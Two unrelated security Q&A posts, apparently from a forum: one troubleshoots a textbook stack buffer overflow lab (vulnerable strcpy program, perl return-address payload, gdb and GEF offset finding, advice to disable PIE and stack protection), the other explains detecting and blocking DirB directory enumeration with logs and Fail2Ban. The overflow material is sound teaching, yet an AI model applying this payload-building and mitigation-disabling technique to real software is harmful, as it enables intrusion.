Instruction Overwrites with Garbage? I am practicing a function return address overwriting exploit.  However, the program instruction pointer instead gets overwritten by gibberish.  I have tried compiling with -fno-builtin and  -fno-stack-protector, but nothing seems to change the behavior.
Code (from "Hacking the Art of Exploitation", 2nd Edition, Page 125):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
        char password_buffer[16];
        int auth_flag = 0;

        strcpy(password_buffer, password);

        if(strcmp(password_buffer, "brillig") == 0)
                auth_flag = 1;
        if(strcmp(password_buffer, "outgrabe") == 0)
                auth_flag = 1;

        return auth_flag;
}

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <password>\n", argv[0]);
                exit(0);
        }
        if(check_authentication(argv[1])) {
                printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                printf("      Access Granted.\n");
                printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        } else {
                printf("\nAccess Denied.\n");
   }
}

Running in the debugger:
run $(perl -e 'print "\x97\x62\x55\x56"x8')

This address is to come in at the start of "Access Granted".  See below disassembly at 0x56556297 <+82>:    add    esp,0x4:
   0x5655627e <+57>:    push   eax
   0x5655627f <+58>:    call   0x565561d9 <check_authentication>
   0x56556284 <+63>:    add    esp,0x4
   0x56556287 <+66>:    test   eax,eax
   0x56556289 <+68>:    je     0x565562ba <main+117>
   0x5655628b <+70>:    lea    eax,[ebx-0x1fd1]
   0x56556291 <+76>:    push   eax
   0x56556292 <+77>:    call   0x56556060 <puts@plt>
   0x56556297 <+82>:    add    esp,0x4
   0x5655629a <+85>:    lea    eax,[ebx-0x1fb4]
   0x565562a0 <+91>:    push   eax
   0x565562a1 <+92>:    call   0x56556060 <puts@plt>
   0x565562a6 <+97>:    add    esp,0x4
   0x565562a9 <+100>:   lea    eax,[ebx-0x1f9e]
   0x565562af <+106>:   push   eax
   0x565562b0 <+107>:   call   0x56556060 <puts@plt>

Stack before string copy:
(gdb) next
9       strcpy(password_buffer, password);
(gdb) x/12x $esp
0xffffd190: 0x00000002  0xffffd264  0xffffd270  0x565562fd
0xffffd1a0: 0x00000000  0x56559000  0xffffd1b8  0x56556284
0xffffd1b0: 0xffffd429  0x00000000  0x00000000  0xf7dd6e46
(gdb)

Stack after string copy:
(gdb) next
11      if(strcmp(password_buffer, "brillig") == 0)
(gdb) x/12x $esp
0xffffd190: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1a0: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1b0: 0xffffd400  0x00000000  0x00000000  0xf7dd6e46
(gdb)

... and the crash with backtrace and value of instruction pointer.
(gdb) cont
Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0xfdabe850 in ?? ()
    (gdb) bt
    #0  0xfdabe850 in ?? ()
    #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd)
        at auth_overflow2.c:26
    Backtrace stopped: previous frame inner to this frame (corrupt stack?)
    (gdb) i r $eip
    eip            0xfdabe850          0xfdabe850
    (gdb)

Where does this value of "eip" come from?  Is there some advanced Linux protection I did not (or cannot) turn off?
I am running on:
tester@Test:/$ uname -a
Linux Test 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux

For starters, no, that is not an exploit mitigation you are seeing. It is likely just due to an issue with your exploit. To explain the following:
 #0  0xfdabe850 in ?? ()
 #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd

GDB is building the stack trace based on the values that it sees in memory. With a buffer overflow where you are overwriting things you aren't supposed to, it is likely that the stack got corrupted, and that's what GDB is showing.
The issue with your exploit may be that your payload is not long enough. It's still long enough to corrupt the stack and cause a crash, but not long enough to control the instruction pointer how you want to. To determine the correct offset, I did (using GDB+GEF):
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ gef run $_gef0
Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
...
gef➤  pattern search $eip
[+] Searching '$eip'
[+] Found at offset 32 (little-endian search) likely
[+] Found at offset 29 (big-endian search)

That tells me that the instruction pointer (EIP) is set from whatever is in bytes 32-35 (inclusive) of your payload. By writing "\x97\x62\x55\x56"x8 as you currently are, you are writing just up to this point (bytes 28-31), but not far enough. So, changing your multiplier to x9 may be enough to solve the issue.
A side note, if you are practicing a simple exploit like this, you are probably going to want to disable PIE when compiling the binary (gcc -fno-pie --no-pie), since it will cause the program addresses to be randomized every time you run it when outside of GDB. \x97\x62\x55\x56 may be the correct address while in the debugger, but that is unlikely to stay the same elsewhere.
* It's possible these differences come from differences between our machines/compilation. But I compiled the code with gcc -m32 -fno-stack-protector.


How to prevent Directory Enumeration Attacks (DirB or Directory Buster) I am dabbling in pen testing (OWASP Juice Shop) and I realized many web application attacks start from enumeration where the attacker uses DirB to find vulnerable Web Objects or Directories to attack or access. So what i want to know is how to prevent such things from happening, to stop the attack before it can occur.

Because in OWASP Juice Shop, it is seen that the ftp directory of the site can be enumerated via DirB, so what are some recommendations to take to prevent such things from happening? And what are the risks of such attacks?

What does such an attack look like? Consider what you are able to see as the server administrator. A DirB/DirBuster attack makes requests for numerous webpages, many of which won't exist. The observable result: lots of 404 HTTP responses for the pages that don't exist. These errors will typically appear in the webserver's access logs.

There are a number of tools out there that can take actions based on log activity. A common one is Fail2Ban, which can be configured to temporarily ban a remote IP address with firewall rules if it generates too many 404s within a time period. But this may not be necessary; see the next paragraph.

What is the risk? If your site and server are configured properly and secured with proper access controls, there should be nothing to worry about. Typically, an attacker scans for directories/files for information gathering/enumeration purposes. Perhaps there are paths that are unpublished, relying on "security through obscurity", i.e. simply hoping the adversary will not find these "hidden' web paths, in this case. Or, there may be files unintentionally left/visible in the webroot, such as text/config files with sensitive information.

So, if you have nothing to hide, and aren't running vulnerable/misconfigured software (those are some big IFs), brute forcing files and directories isn't a huge risk.